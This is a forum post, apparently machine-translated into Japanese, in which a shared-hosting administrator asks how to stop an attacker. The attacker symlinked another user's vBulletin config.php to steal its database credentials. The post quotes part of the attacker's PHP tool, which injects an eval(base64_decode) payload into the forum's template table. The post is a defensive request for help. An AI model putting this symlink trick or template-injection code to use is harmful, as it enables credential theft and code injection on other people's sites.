PHPのセキュリティに問題があります。vBulletinフォーラム スクリプトconfig.php
を取得しようとしている人がいることがわかりました。たとえば、ユーザーmattに vBulletin スクリプトがインストールされています。
したがって、vbulletin フォーラムの仮想ホスト ディレクトリは次のようになります。
/home/matt/public_html/forum/includes/config.php
ここで、ハッカーは別のユーザーでログインしました。彼をjohnと呼びましょう。彼は、関数function_exist
、base64_decode
およびに基づく PHP スクリプトをアップロードしましたfile_get_contents
。これはコードの一部です。
完全なスクリプトは にありますhttp://www.textswell.com/read,4207852514827
。
シンボリックリンクを介してデータベース情報を取得できることがわかりました。
183697715 lrwxrwxrwx 1 john john 49 Oct 9 00:01 g.html -> /home/matt/public_html/forum/includes/config.php
ファイルをシンボリック リンクして、データベース情報を読み取るにはどうすればよいでしょうか。彼がしたのはそれだけではありません。彼はまた、すべてのテンプレート データベースに書き込むことができる SQL スクリプトを持っています。完全なコードは次のとおりです。
<INPUT value=\"عدل\" name=\"send\" type=\"submit\">
</FORM>";
}
else {
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
# Footer
echo "<strong>SpeciaL GreeTz To :</strong> <u>Abu-NaiF</u>";
?>
それらの機能を無効にすることはできません。多くのスクリプトがそれに依存しており、スクリプトに記述されたMySQLクエリを停止するために mod セキュリティを介してルールを設定する方法もわかりません。
解決策はありますか?